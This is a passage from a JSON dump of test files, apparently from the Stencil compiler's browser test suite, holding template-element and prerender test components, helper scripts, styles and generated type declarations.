clone.querySelector('li');\n    expect(clonedLi).toBeDefined();\n    expect(clonedLi.classList.contains('list-item')).toBe(true);\n  });\n\n  it('should not have template content as visible children in the DOM', async () => {\n    await $('template-render').waitForExist();\n    const host = document.querySelector('template-render');\n    const shadowRoot = host.shadowRoot;\n\n    const simpleTemplate = shadowRoot.querySelector<HTMLTemplateElement>('template#simple-template');\n\n    // The template's content should not be visible in the rendered tree\n    // Only when cloned and appended should it become visible\n    const visibleTemplateContent = shadowRoot.querySelector('.template-content');\n    expect(visibleTemplateContent).toBeNull();\n\n    // But it should exist in the template.content\n    const contentInTemplate = simpleTemplate.content.querySelector('.template-content');\n    expect(contentInTemplate).toBeDefined();\n  });\n});\n"
  },
  {
    "path": "test/wdio/template-render/cmp.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'template-render',\n  shadow: true,\n})\nexport class TemplateRender {\n  @State() items: string[] = ['Item 1', 'Item 2', 'Item 3'];\n\n  addItem = () => {\n    this.items = [...this.items, `Item ${this.items.length + 1}`];\n  };\n\n  render() {\n    return (\n      <div>\n        <h1>Template Element Test</h1>\n\n        {/* Template with simple content */}\n        <template id=\"simple-template\">\n          <p class=\"template-content\">This is template content</p>\n        </template>\n\n        {/* Template with nested elements */}\n        <template id=\"nested-template\">\n          <div class=\"container\">\n            <h2>Nested Template</h2>\n            <p>With multiple children</p>\n            <span>And different tags</span>\n          </div>\n        </template>\n\n        {/* Template with dynamic content */}\n        <template id=\"list-template\">\n          <li class=\"list-item\">\n            <span class=\"item-text\">Placeholder</span>\n          </li>\n        </template>\n\n        {/* Render list using template */}\n        <div>\n          <button id=\"add-item\" onClick={this.addItem}>\n            Add Item\n          </button>\n          <ul id=\"item-list\">\n            {this.items.map((item) => (\n              <li key={item}>{item}</li>\n            ))}\n          </ul>\n        </div>\n\n        {/* Container for cloned content */}\n        <div id=\"cloned-container\"></div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-end-to-end-import.mjs",
    "content": "import assert from 'node:assert';\n\nimport { AttributeBasicRoot, defineCustomElement } from './test-components/attribute-basic-root.js';\n\nconsole.log(`🧪 Validate capability to import Stencil dist-custom-elements output target`);\nassert.equal(typeof AttributeBasicRoot, 'function');\nassert.equal(typeof defineCustomElement, 'function');\nconsole.log(`✅  Success!`);\n\n"
  },
  {
    "path": "test/wdio/test-prerender/no-script-build.js",
    "content": "// just a hack so we can create an index.html\n// that doesn't run the script so we can test\n// prerendering is kicking in correctly\n\nconst fs = require('fs');\nconst path = require('path');\n\nconst wwwWithScriptPath = path.join(__dirname, '..', 'www-prerender-script', 'prerender', 'index.html');\nconst wwwNoScriptPath = path.join(__dirname, '..', 'www-prerender-script', 'prerender', 'index-no-script.html');\n\nconst wwwWithScript = fs.readFileSync(wwwWithScriptPath, 'utf8');\nconst wwwNoScript = wwwWithScript.replace(/<script/gi, '<script type=\"disable/script\"');\n\nfs.writeFileSync(wwwNoScriptPath, wwwNoScript);\n"
  },
  {
    "path": "test/wdio/test-prerender/package.json",
    "content": "{\n  \"type\": \"commonjs\"\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/prerender.config.js",
    "content": "module.exports = {\n  beforeHydrate(doc) {\n    doc.documentElement.setAttribute('dir', 'ltr');\n  },\n\n  afterHydrate(doc, url) {\n    doc.title = `Url: ${url.href}`;\n  },\n\n  filterUrl() {\n    return true;\n  },\n\n  hydrateOptions() {\n    const hydrate = {\n      prettyHtml: true,\n    };\n    return hydrate;\n  },\n};\n"
  },
  {
    "path": "test/wdio/test-prerender/prerender.js",
    "content": "const fs = require('fs');\nconst path = require('path');\nconst hydrate = require('../dist/hydrate');\n\nasync function run() {\n  const indexPath = path.join(__dirname, 'src', 'index.html');\n  const html = fs.readFileSync(indexPath, 'utf8');\n\n  const results = await hydrate.renderToString(html, {\n    prettyHtml: true,\n  });\n  const filePath = path.join(__dirname, '..', 'www-prerender-script', 'prerender', 'index.html');\n\n  const updatedHTML = results.html.replace(/(href|src)=\"\\/prerender\\//g, (html) =>\n    html.replace('/prerender/', '/www-prerender-script/prerender/'),\n  );\n  fs.writeFileSync(filePath, updatedHTML);\n\n  results.diagnostics.forEach((d) => {\n    console.log(d.level, d.header, d.messageText);\n  });\n}\nrun();\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/app-root/app-root.css",
    "content": "\napp-root {\n  display: block;\n  padding: 10px;\n  background: blue;\n}\n\n.server {\n  padding: 10px;\n  background: darkorange;\n}\n\n.client {\n  padding: 10px;\n  background: cyan;\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/app-root/app-root.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'app-root',\n  styleUrl: 'app-root.css',\n})\nexport class AppRoot {\n  render() {\n    return (\n      <Host>\n        <cmp-a>\n          <cmp-d uniqueId=\"a1-child\" />\n          <cmp-d uniqueId=\"a2-child\" />\n          <cmp-d uniqueId=\"a3-child\" />\n          <cmp-d uniqueId=\"a4-child\" />\n        </cmp-a>\n        <div class=\"server\">\n          <div id=\"server-componentWillLoad\" />\n          <div id=\"server-componentDidLoad\" />\n        </div>\n        <div class=\"client\">\n          <div id=\"client-componentWillLoad\" />\n          <div id=\"client-componentDidLoad\" />\n        </div>\n        <div>\n          <cmp-scoped-a></cmp-scoped-a>\n        </div>\n        <div>\n          <cmp-scoped-b></cmp-scoped-b>\n        </div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-a/cmp-a.css",
    "content": "\ncmp-a {\n  display: block;\n  padding: 10px;\n  background: red;\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-a/cmp-a.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\nimport { printLifecycle } from '../../global/util.js';\n\n@Component({\n  tag: 'cmp-a',\n  styleUrl: 'cmp-a.css',\n})\nexport class CmpA {\n  componentWillLoad() {\n    printLifecycle('CmpA', 'componentWillLoad');\n  }\n\n  componentDidLoad() {\n    printLifecycle('CmpA', 'componentDidLoad');\n  }\n\n  render() {\n    return (\n      <div>\n        <div>CmpA</div>\n        <cmp-b />\n        <slot />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-b/cmp-b.css",
    "content": "\ncmp-b {\n  display: block;\n  padding: 10px;\n  background: yellow;\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-b/cmp-b.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\nimport { printLifecycle } from '../../global/util.js';\n\n@Component({\n  tag: 'cmp-b',\n  styleUrl: 'cmp-b.css',\n})\nexport class CmpB {\n  componentWillLoad() {\n    printLifecycle('CmpB', 'componentWillLoad');\n  }\n\n  componentDidLoad() {\n    printLifecycle('CmpB', 'componentDidLoad');\n  }\n\n  render() {\n    return (\n      <div>\n        <div>CmpB</div>\n        <cmp-c />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-c/cmp-c.css",
    "content": "\ncmp-c {\n  display: block;\n  padding: 10px;\n  background: fuchsia;\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-c/cmp-c.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\nimport { printLifecycle } from '../../global/util.js';\n\n@Component({\n  tag: 'cmp-c',\n  styleUrl: 'cmp-c.css',\n})\nexport class CmpC {\n  componentWillLoad() {\n    printLifecycle('CmpC', 'componentWillLoad');\n  }\n\n  componentDidLoad() {\n    printLifecycle('CmpC', 'componentDidLoad');\n  }\n\n  render() {\n    return (\n      <div>\n        <div>CmpC</div>\n        <cmp-d uniqueId=\"c-child\" />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-client-scoped/cmp-client-scoped.css",
    "content": "\n:host {\n  display: block;\n  border: 10px solid yellow;\n  margin: 10px;\n  padding: 10px;\n}\n\n.client-scoped {\n  color: rgb(255, 0, 0);\n  font-weight: bold;\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-client-scoped/cmp-client-scoped.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-client-scoped',\n  styleUrl: 'cmp-client-scoped.css',\n  scoped: true,\n})\nexport class CmpClientScoped {\n  render() {\n    return (\n      <section class=\"client-scoped\">\n        <slot></slot>\n      </section>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-client-shadow/cmp-client-shadow.css",
    "content": "\n:host {\n  display: block;\n  border: 10px solid purple;\n  margin: 10px;\n  padding: 10px;\n}\n\n.client-shadow {\n  color: rgb(0, 155, 0);\n  font-weight: bold;\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-client-shadow/cmp-client-shadow.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-client-shadow',\n  styleUrl: 'cmp-client-shadow.css',\n  shadow: true,\n})\nexport class CmpClientShadow {\n  render() {\n    return (\n      <article class=\"client-shadow\">\n        <slot></slot>\n        <cmp-text-blue></cmp-text-blue>\n        <cmp-text-green></cmp-text-green>\n      </article>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-d/cmp-d.css",
    "content": "\ncmp-d {\n  display: block;\n  padding: 10px;\n  background: lime;\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-d/cmp-d.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\nimport { printLifecycle } from '../../global/util.js';\n\n@Component({\n  tag: 'cmp-d',\n  styleUrl: 'cmp-d.css',\n})\nexport class CmpD {\n  @Prop() uniqueId: string = '';\n\n  componentWillLoad() {\n    printLifecycle(`CmpD - ${this.uniqueId}`, 'componentWillLoad');\n  }\n\n  componentDidLoad() {\n    printLifecycle(`CmpD - ${this.uniqueId}`, 'componentDidLoad');\n  }\n\n  render() {\n    return <div>CmpD</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-scoped-a/cmp-scoped-a.css",
    "content": "\n:host {\n  display: block;\n  background-color: rgb(0, 128, 0);\n}\n\ndiv {\n  font-size: 14px;\n}\n\np {\n  color: rgb(128, 0, 128);\n}\n\n.scoped-class {\n  color: rgb(0, 0, 255);\n}\n\n.i-am-an-unused-selecor {\n  color: rgb(255, 0, 0);\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-scoped-a/cmp-scoped-a.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-scoped-a',\n  styleUrl: 'cmp-scoped-a.css',\n  scoped: true,\n})\nexport class CmpScopedA {\n  render() {\n    return (\n      <div>\n        <p>cmp-scoped-a</p>\n        <p class=\"scoped-class\">scoped-class</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-scoped-b/cmp-scoped-b.css",
    "content": "\n:host {\n  display: block;\n  background-color: rgb(128, 128, 128);\n}\n\ndiv {\n  font-size: 18px;\n}\n\np {\n  color: rgb(0, 128, 0);\n}\n\n.scoped-class {\n  color: rgb(255, 255, 0);\n}\n\n.i-am-an-unused-selecor {\n  color: rgb(255, 0, 0);\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-scoped-b/cmp-scoped-b.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-scoped-b',\n  styleUrl: 'cmp-scoped-b.css',\n  scoped: true,\n})\nexport class CmpScopedB {\n  render() {\n    return (\n      <div>\n        <p>cmp-scoped-b</p>\n        <p class=\"scoped-class\">scoped-class</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-text-blue/cmp-text-blue.css",
    "content": "\n:host {\n  display: block;\n  border: 10px solid rgb(0, 255, 0);\n  margin: 10px;\n  padding: 10px;\n  background-color: white;\n}\n\ntext-blue {\n  display: block;\n  color: rgb(0, 0, 255);\n  font-weight: bold;\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-text-blue/cmp-text-blue.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-text-blue',\n  styleUrl: 'cmp-text-blue.css',\n  scoped: true,\n})\nexport class CmpTextBlue {\n  render() {\n    return <text-blue>blue text, green border</text-blue>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-text-green/cmp-text-green.css",
    "content": "\n:host {\n  display: block;\n  border: 10px solid rgb(0, 0, 255);\n  margin: 10px;\n  padding: 10px;\n  background-color: white;\n}\n\ntext-green {\n  display: block;\n  color: rgb(0, 255, 0);\n  font-weight: bold;\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/cmp-text-green/cmp-text-green.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-text-green',\n  styleUrl: 'cmp-text-green.css',\n  scoped: true,\n})\nexport class CmpTextGreen {\n  render() {\n    return <text-green>green text, blue border</text-green>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components/hydrate-svg/hydrate-svg.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'test-svg',\n  shadow: true,\n})\nexport class TestSvg {\n  render() {\n    return <svg></svg>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface AppRoot {\n    }\n    interface CmpA {\n    }\n    interface CmpB {\n    }\n    interface CmpC {\n    }\n    interface CmpClientScoped {\n    }\n    interface CmpClientShadow {\n    }\n    interface CmpD {\n        \"uniqueId\": string;\n    }\n    interface CmpScopedA {\n    }\n    interface CmpScopedB {\n    }\n    interface CmpTextBlue {\n    }\n    interface CmpTextGreen {\n    }\n    interface TestSvg {\n    }\n}\ndeclare global {\n    interface HTMLAppRootElement extends Components.AppRoot, HTMLStencilElement {\n    }\n    var HTMLAppRootElement: {\n        prototype: HTMLAppRootElement;\n        new (): HTMLAppRootElement;\n    };\n    interface HTMLCmpAElement extends Components.CmpA, HTMLStencilElement {\n    }\n    var HTMLCmpAElement: {\n        prototype: HTMLCmpAElement;\n        new (): HTMLCmpAElement;\n    };\n    interface HTMLCmpBElement extends Components.CmpB, HTMLStencilElement {\n    }\n    var HTMLCmpBElement: {\n        prototype: HTMLCmpBElement;\n        new (): HTMLCmpBElement;\n    };\n    interface HTMLCmpCElement extends Components.CmpC, HTMLStencilElement {\n    }\n    var HTMLCmpCElement: {\n        prototype: HTMLCmpCElement;\n        new (): HTMLCmpCElement;\n    };\n    interface HTMLCmpClientScopedElement extends Components.CmpClientScoped, HTMLStencilElement {\n    }\n    var HTMLCmpClientScopedElement: {\n        prototype: HTMLCmpClientScopedElement;\n        new (): HTMLCmpClientScopedElement;\n    };\n    interface HTMLCmpClientShadowElement extends Components.CmpClientShadow, HTMLStencilElement {\n    }\n    var HTMLCmpClientShadowElement: {\n        prototype: HTMLCmpClientShadowElement;\n        new (): HTMLCmpClientShadowElement;\n    };\n    interface HTMLCmpDElement extends Components.CmpD, HTMLStencilElement {\n    }\n    var HTMLCmpDElement: {\n        prototype: HTMLCmpDElement;\n        new (): HTMLCmpDElement;\n    };\n    interface HTMLCmpScopedAElement extends Components.CmpScopedA, HTMLStencilElement {\n    }\n    var HTMLCmpScopedAElement: {\n        prototype: HTMLCmpScopedAElement;\n        new (): HTMLCmpScopedAElement;\n    };\n    interface HTMLCmpScopedBElement extends Components.CmpScopedB, HTMLStencilElement {\n    }\n    var HTMLCmpScopedBElement: {\n        prototype: HTMLCmpScopedBElement;\n        new (): HTMLCmpScopedBElement;\n    };\n    interface HTMLCmpTextBlueElement extends Components.CmpTextBlue, HTMLStencilElement {\n    }\n    var HTMLCmpTextBlueElement: {\n        prototype: HTMLCmpTextBlueElement;\n        new (): HTMLCmpTextBlueElement;\n    };\n    interface HTMLCmpTextGreenElement extends Components.CmpTextGreen, HTMLStencilElement {\n    }\n    var HTMLCmpTextGreenElement: {\n        prototype: HTMLCmpTextGreenElement;\n        new (): HTMLCmpTextGreenElement;\n    };\n    interface HTMLTestSvgElement extends Components.TestSvg, HTMLStencilElement {\n    }\n    var HTMLTestSvgElement: {\n        prototype: HTMLTestSvgElement;\n        new (): HTMLTestSvgElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"app-root\": HTMLAppRootElement;\n        \"cmp-a\": HTMLCmpAElement;\n        \"cmp-b\": HTMLCmpBElement;\n        \"cmp-c\": HTMLCmpCElement;\n        \"cmp-client-scoped\": HTMLCmpClientScopedElement;\n        \"cmp-client-shadow\": HTMLCmpClientShadowElement;\n        \"cmp-d\": HTMLCmpDElement;\n        \"cmp-scoped-a\": HTMLCmpScopedAElement;\n        \"cmp-scoped-b\": HTMLCmpScopedBElement;\n        \"cmp-text-blue\": HTMLCmpTextBlueElement;\n        \"cmp-text-green\": HTMLCmpTextGreenElement;\n        \"test-svg\": HTMLTestSvgElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface AppRoot {\n    }\n    interface CmpA {\n    }\n    interface CmpB {\n    }\n    interface CmpC {\n    }\n    interface CmpClientScoped {\n    }\n    interface CmpClientShadow {\n    }\n    interface CmpD {\n        \"uniqueId\"?: string;\n    }\n    interface CmpScopedA {\n    }\n    interface CmpScopedB {\n    }\n    interface CmpTextBlue {\n    }\n    interface CmpTextGreen {\n    }\n    interface TestSvg {\n    }\n    interface IntrinsicElements {\n        \"app-root\": AppRoot;\n        \"cmp-a\": CmpA;\n        \"cmp-b\": CmpB;\n        \"cmp-c\": CmpC;\n        \"cmp-client-scoped\": CmpClientScoped;\n        \"cmp-client-shadow\": CmpClientShadow;\n        \"cmp-d\": CmpD;\n        \"cmp-scoped-a\": CmpScopedA;\n        \"cmp-scoped-b\": CmpScopedB;\n        \"cmp-text-blue\": CmpTextBlue;\n        \"cmp-text-green\": CmpTextGreen;\n        \"test-svg\": TestSvg;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"app-root\": LocalJSX.AppRoot & JSXBase.HTMLAttributes<HTMLAppRootElement>;\n            \"cmp-a\": LocalJSX.CmpA & JSXBase.HTMLAttributes<HTMLCmpAElement>;\n            \"cmp-b\": LocalJSX.CmpB & JSXBase.HTMLAttributes<HTMLCmpBElement>;\n            \"cmp-c\": LocalJSX.CmpC & JSXBase.HTMLAttributes<HTMLCmpCElement>;\n            \"cmp-client-scoped\": LocalJSX.CmpClientScoped & JSXBase.HTMLAttributes<HTMLCmpClientScopedElement>;\n            \"cmp-client-shadow\": LocalJSX.CmpClientShadow & JSXBase.HTMLAttributes<HTMLCmpClientShadowElement>;\n            \"cmp-d\": LocalJSX.CmpD & JSXBase.HTMLAttributes<HTMLCmpDElement>;\n            \"cmp-scoped-a\": LocalJSX.CmpScopedA & JSXBase.HTMLAttributes<HTMLCmpScopedAElement>;\n            \"cmp-scoped-b\": LocalJSX.CmpScopedB & JSXBase.HTMLAttributes<HTMLCmpScopedBElement>;\n            \"cmp-text-blue\": LocalJSX.CmpTextBlue & JSXBase.HTMLAttributes<HTMLCmpTextBlueElement>;\n            \"cmp-text-green\": LocalJSX.CmpTextGreen & JSXBase.HTMLAttributes<HTMLCmpTextGreenElement>;\n            \"test-svg\": LocalJSX.TestSvg & JSXBase.HTMLAttributes<HTMLTestSvgElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/global/app.css",
    "content": "\nbody {\n  margin: 0;\n  padding: 0;\n  background: black;\n  font-family: 'Courier New', Courier, monospace;\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/global/util.ts",
    "content": "import { Build } from '@stencil/core';\n\nexport function printLifecycle(cmp: string, lifecycle: string) {\n  const elm = document.createElement('div');\n\n  if (Build.isBrowser) {\n    const output = document.getElementById(`client-${lifecycle}`);\n    elm.textContent = `${cmp} client ${lifecycle}`;\n    output?.appendChild(elm);\n  } else {\n    const output = document.getElementById(`server-${lifecycle}`);\n    elm.textContent = `${cmp} server ${lifecycle}`;\n    output?.appendChild(elm);\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-prerender/src/index.html",
    "content": "<!DOCTYPE html>\n<html dir=\"ltr\" lang=\"en\">\n<head>\n  <meta charset=\"utf-8\">\n  <title>Test Prerender App</title>\n  <link href=\"/prerender/build/testprerender.css\" rel=\"stylesheet\">\n  <script src=\"/prerender/build/testprerender.esm.js\" type=\"module\"></script>\n  <script src=\"/prerender/build/testprerender.js\" nomodule></script>\n</head>\n<body>\n  <app-root></app-root>\n  <cmp-client-scoped>scoped light-dom: red if in the correct slot</cmp-client-scoped>\n  <cmp-client-shadow>shadow light-dom: red if in the correct slot</cmp-client-shadow>\n  <test-svg></test-svg>\n</body>\n</html>\n"
  },
  {
    "path": "test/wdio/test-sibling/package.json",
    "content": "{\n  \"name\": \"test-sibling\",\n  \"main\": \"dist/index.cjs.js\",\n  \"module\": \"dist/index.js\",\n  \"collection\": \"dist/collection/collection-manifest.json\",\n  \"types\": \"dist/types/components.d.ts\",\n  \"exports\": {\n    \"./dist/collection/sibling-extended/sibling-extended\": {\n      \"import\": \"./dist/collection/sibling-extended/sibling-extended.js\",\n      \"types\": \"./dist/types/sibling-extended/sibling-extended.d.ts\"\n    },\n    \"./dist/collection/sibling-abstract-mixin/sibling-abstract-mixin\": {\n      \"import\": \"./dist/collection/sibling-abstract-mixin/sibling-abstract-mixin.js\",\n      \"types\": \"./dist/types/sibling-abstract-mixin/sibling-abstract-mixin.d.ts\"\n    },\n    \"./dist/collection/sibling-with-mixin/sibling-with-mixin\": {\n      \"import\": \"./dist/collection/sibling-with-mixin/sibling-with-mixin.js\",\n      \"types\": \"./dist/types/sibling-with-mixin/sibling-with-mixin.d.ts\"\n    }\n  },\n  \"volta\": {\n    \"extends\": \"../package.json\"\n  },\n  \"scripts\": {\n    \"build\": \"node ../../../bin/stencil build --config ./stencil.config.ts --debug\"\n  }\n}\n"
  },
  {
    "path": "test/wdio/test-sibling/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface SiblingExtended {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\": string;\n        \"method1\": () => Promise<void>;\n        \"method2\": () => Promise<void>;\n        /**\n          * @default 'ExtendedCmp text'\n         */\n        \"prop1\": string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\": string;\n    }\n    interface SiblingExtendedBase {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\": string;\n        \"method1\": () => Promise<void>;\n        \"method2\": () => Promise<void>;\n        /**\n          * @default 'ExtendedCmp text'\n         */\n        \"prop1\": string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\": string;\n    }\n    interface SiblingRoot {\n    }\n    /**\n     * A component that uses a mixin factory pattern internally.\n     * This tests the scenario where a consumer project imports and renders a component\n     * from an external library, and that component internally uses a mixin pattern.\n     * The mixin's decorated members should be properly merged and reactive.\n     * Used as the extendedTag in tests - renders `.extended-*` elements with mixin defaults.\n     */\n    interface SiblingWithMixin {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\": string;\n        \"method1\": () => Promise<void>;\n        \"method2\": () => Promise<void>;\n        /**\n          * @default 'ExtendedCmp text'\n         */\n        \"prop1\": string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\": string;\n    }\n}\ndeclare global {\n    interface HTMLSiblingExtendedElement extends Components.SiblingExtended, HTMLStencilElement {\n    }\n    var HTMLSiblingExtendedElement: {\n        prototype: HTMLSiblingExtendedElement;\n        new (): HTMLSiblingExtendedElement;\n    };\n    interface HTMLSiblingExtendedBaseElement extends Components.SiblingExtendedBase, HTMLStencilElement {\n    }\n    var HTMLSiblingExtendedBaseElement: {\n        prototype: HTMLSiblingExtendedBaseElement;\n        new (): HTMLSiblingExtendedBaseElement;\n    };\n    interface HTMLSiblingRootElement extends Components.SiblingRoot, HTMLStencilElement {\n    }\n    var HTMLSiblingRootElement: {\n        prototype: HTMLSiblingRootElement;\n        new (): HTMLSiblingRootElement;\n    };\n    /**\n     * A component that uses a mixin factory pattern internally.\n     * This tests the scenario where a consumer project imports and renders a component\n     * from an external library, and that component internally uses a mixin pattern.\n     * The mixin's decorated members should be properly merged and reactive.\n     * Used as the extendedTag in tests - renders `.extended-*` elements with mixin defaults.\n     */\n    interface HTMLSiblingWithMixinElement extends Components.SiblingWithMixin, HTMLStencilElement {\n    }\n    var HTMLSiblingWithMixinElement: {\n        prototype: HTMLSiblingWithMixinElement;\n        new (): HTMLSiblingWithMixinElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"sibling-extended\": HTMLSiblingExtendedElement;\n        \"sibling-extended-base\": HTMLSiblingExtendedBaseElement;\n        \"sibling-root\": HTMLSiblingRootElement;\n        \"sibling-with-mixin\": HTMLSiblingWithMixinElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface SiblingExtended {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\"?: string;\n        /**\n          * @default 'ExtendedCmp text'\n         */\n        \"prop1\"?: string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\"?: string;\n    }\n    interface SiblingExtendedBase {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\"?: string;\n        /**\n          * @default 'ExtendedCmp text'\n         */\n        \"prop1\"?: string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\"?: string;\n    }\n    interface SiblingRoot {\n    }\n    /**\n     * A component that uses a mixin factory pattern internally.\n     * This tests the scenario where a consumer project imports and renders a component\n     * from an external library, and that component internally uses a mixin pattern.\n     * The mixin's decorated members should be properly merged and reactive.\n     * Used as the extendedTag in tests - renders `.extended-*` elements with mixin defaults.\n     */\n    interface SiblingWithMixin {\n        /**\n          * @default 'getter default value'\n         */\n        \"getterProp\"?: string;\n        /**\n          * @default 'ExtendedCmp text'\n         */\n        \"prop1\"?: string;\n        /**\n          * @default 'ExtendedCmp prop2 text'\n         */\n        \"prop2\"?: string;\n    }\n\n    interface SiblingExtendedAttributes {\n        \"getterProp\": string;\n        \"prop1\": string;\n        \"prop2\": string;\n    }\n    interface SiblingExtendedBaseAttributes {\n        \"getterProp\": string;\n        \"prop1\": string;\n        \"prop2\": string;\n    }\n    interface SiblingWithMixinAttributes {\n        \"getterProp\": string;\n        \"prop1\": string;\n        \"prop2\": string;\n    }\n\n    interface IntrinsicElements {\n        \"sibling-extended\": Omit<SiblingExtended, keyof SiblingExtendedAttributes> & { [K in keyof SiblingExtended & keyof SiblingExtendedAttributes]?: SiblingExtended[K] } & { [K in keyof SiblingExtended & keyof SiblingExtendedAttributes as `attr:${K}`]?: SiblingExtendedAttributes[K] } & { [K in keyof SiblingExtended & keyof SiblingExtendedAttributes as `prop:${K}`]?: SiblingExtended[K] };\n        \"sibling-extended-base\": Omit<SiblingExtendedBase, keyof SiblingExtendedBaseAttributes> & { [K in keyof SiblingExtendedBase & keyof SiblingExtendedBaseAttributes]?: SiblingExtendedBase[K] } & { [K in keyof SiblingExtendedBase & keyof SiblingExtendedBaseAttributes as `attr:${K}`]?: SiblingExtendedBaseAttributes[K] } & { [K in keyof SiblingExtendedBase & keyof SiblingExtendedBaseAttributes as `prop:${K}`]?: SiblingExtendedBase[K] };\n        \"sibling-root\": SiblingRoot;\n        \"sibling-with-mixin\": Omit<SiblingWithMixin, keyof SiblingWithMixinAttributes> & { [K in keyof SiblingWithMixin & keyof SiblingWithMixinAttributes]?: SiblingWithMixin[K] } & { [K in keyof SiblingWithMixin & keyof SiblingWithMixinAttributes as `attr:${K}`]?: SiblingWithMixinAttributes[K] } & { [K in keyof SiblingWithMixin & keyof SiblingWithMixinAttributes as `prop:${K}`]?: SiblingWithMixin[K] };\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"sibling-extended\": LocalJSX.IntrinsicElements[\"sibling-extended\"] & JSXBase.HTMLAttributes<HTMLSiblingExtendedElement>;\n            \"sibling-extended-base\": LocalJSX.IntrinsicElements[\"sibling-extended-base\"] & JSXBase.HTMLAttributes<HTMLSiblingExtendedBaseElement>;\n            \"sibling-root\": LocalJSX.IntrinsicElements[\"sibling-root\"] & JSXBase.HTMLAttributes<HTMLSiblingRootElement>;\n            /**\n             * A component that uses a mixin factory pattern internally.\n             * This tests the scenario where a consumer project imports and renders a component\n             * from an external library, and that component internally uses a mixin pattern.\n             * The mixin's decorated members should be properly merged and reactive.\n             * Used as the extendedTag in tests - renders `.extended-*` elements with mixin defaults.\n             */\n            \"sibling-with-mixin\": LocalJSX.IntrinsicElements[\"sibling-with-mixin\"] & JSXBase.HTMLAttributes<HTMLSiblingWithMixinElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/wdio/test-sibling/src/global.ts",
    "content": "const Context: any = {};\nexport { Context };\nexport default () => {};\n"
  },
  {
    "path": "test/wdio/test-sibling/src/sibling-abstract-mixin/sibling-abstract-mixin.ts",
